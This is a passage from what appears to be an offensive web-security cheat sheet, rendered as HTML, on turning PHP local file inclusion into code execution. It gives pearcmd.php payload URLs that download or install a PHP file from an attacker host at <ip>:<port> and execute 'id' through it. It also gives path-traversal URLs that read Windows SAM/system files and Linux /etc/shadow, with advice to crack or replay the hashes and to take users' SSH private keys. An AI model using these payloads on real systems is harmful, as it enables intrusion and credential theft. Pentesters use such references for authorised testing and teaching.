<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="p">/</span><span class="n">vuln</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">file</span><span class="p">=/</span><span class="n">usr</span><span class="p">/</span><span class="n">local</span><span class="p">/</span><span class="n">lib</span><span class="p">/</span><span class="n">php</span><span class="p">/</span><span class="n">pearcmd</span><span class="p">.</span><span class="n">php</span><span class="p">&+</span><span class="n">download</span><span class="p">+</span><span class="n">http</span><span class="p">://<</span><span class="n">ip</span><span class="p">>:<</span><span class="n">port</span><span class="p">>/</span><span class="n">exec</span><span class="p">.</span><span class="n">php</span>
|
|
<a id="__codelineno-19-2" name="__codelineno-19-2" href="#__codelineno-19-2"></a><span class="p">/</span><span class="n">vuln</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">file</span><span class="p">=</span><span class="n">exec</span><span class="p">.</span><span class="n">php</span><span class="p">&</span><span class="n">c</span><span class="p">=</span><span class="n">id</span>
|
|
</code></pre></div></p>
|
|
</li>
|
|
<li>
|
|
<p><strong>Method 4</strong>: install (need external network connection). Notice that <code>exec.php</code> locates at <code>/tmp/pear/download/exec.php</code>.
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-20-1" name="__codelineno-20-1" href="#__codelineno-20-1"></a><span class="p">/</span><span class="n">vuln</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">file</span><span class="p">=/</span><span class="n">usr</span><span class="p">/</span><span class="n">local</span><span class="p">/</span><span class="n">lib</span><span class="p">/</span><span class="n">php</span><span class="p">/</span><span class="n">pearcmd</span><span class="p">.</span><span class="n">php</span><span class="p">&+</span><span class="n">install</span><span class="p">+</span><span class="n">http</span><span class="p">://<</span><span class="n">ip</span><span class="p">>:<</span><span class="n">port</span><span class="p">>/</span><span class="n">exec</span><span class="p">.</span><span class="n">php</span>
|
|
<a id="__codelineno-20-2" name="__codelineno-20-2" href="#__codelineno-20-2"></a><span class="p">/</span><span class="n">vuln</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">file</span><span class="p">=/</span><span class="n">tmp</span><span class="p">/</span><span class="n">pear</span><span class="p">/</span><span class="n">download</span><span class="p">/</span><span class="n">exec</span><span class="p">.</span><span class="n">php</span><span class="p">&</span><span class="n">c</span><span class="p">=</span><span class="n">id</span>
|
|
</code></pre></div></p>
|
|
</li>
|
|
</ul>
|
|
<h2 id="lfi-to-rce-via-credentials-files">LFI to RCE via credentials files</h2>
|
|
<p>This method require high privileges inside the application in order to read the sensitive files.</p>
|
|
<h3 id="windows-version">Windows version</h3>
|
|
<p>Extract <code>sam</code> and <code>system</code> files.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-21-1" name="__codelineno-21-1" href="#__codelineno-21-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=../../../../../../</span><span class="n">WINDOWS</span><span class="p">/</span><span class="n">repair</span><span class="p">/</span><span class="n">sam</span>
|
|
<a id="__codelineno-21-2" name="__codelineno-21-2" href="#__codelineno-21-2"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=../../../../../../</span><span class="n">WINDOWS</span><span class="p">/</span><span class="n">repair</span><span class="p">/</span><span class="n">system</span>
|
|
</code></pre></div>
|
|
<p>Then extract hashes from these files <code>samdump2 SYSTEM SAM > hashes.txt</code>, and crack them with <code>hashcat/john</code> or replay them using the Pass The Hash technique.</p>
|
|
<h3 id="linux-version">Linux version</h3>
|
|
<p>Extract <code>/etc/shadow</code> files.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-22-1" name="__codelineno-22-1" href="#__codelineno-22-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=../../../../../../</span><span class="n">etc</span><span class="p">/</span><span class="n">shadow</span>
|
|
</code></pre></div>
|
|
<p>Then crack the hashes inside in order to login via SSH on the machine.</p>
|
|
<p>Another way to gain SSH access to a Linux machine through LFI is by reading the private SSH key file: <code>id_rsa</code>.
|
|
If SSH is active, check which user is being used in the machine by including the content of <code>/etc/passwd</code> and try to access <code>/<HOME>/.ssh/id_rsa</code> for every user with a home.</p>
|
|
<h2 id="references">References</h2>
|
|
<ul>
|
|
<li><a href="https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters">LFI2RCE via PHP Filters - HackTricks - 19/07/2024</a></li>
|
|
<li><a href="http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html">Local file inclusion tricks - Johan Adriaans - August 4, 2007</a></li>
|
|
<li><a href="https://gynvael.coldwind.pl/?id=376">PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - Gynvael Coldwind - March 18, 2011</a></li>
|
|
<li><a href="https://bierbaumer.net/security/php-lfi-with-nginx-assistance/">PHP LFI with Nginx Assistance - Bruno Bierbaumer - 26 Dec 2021</a></li>
|
|
<li><a href="https://web.archive.org/web/20170914211708/https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/">Upgrade from LFI to RCE via PHP Sessions - Reiners - September 14, 2017</a></li>
|
|
</ul>
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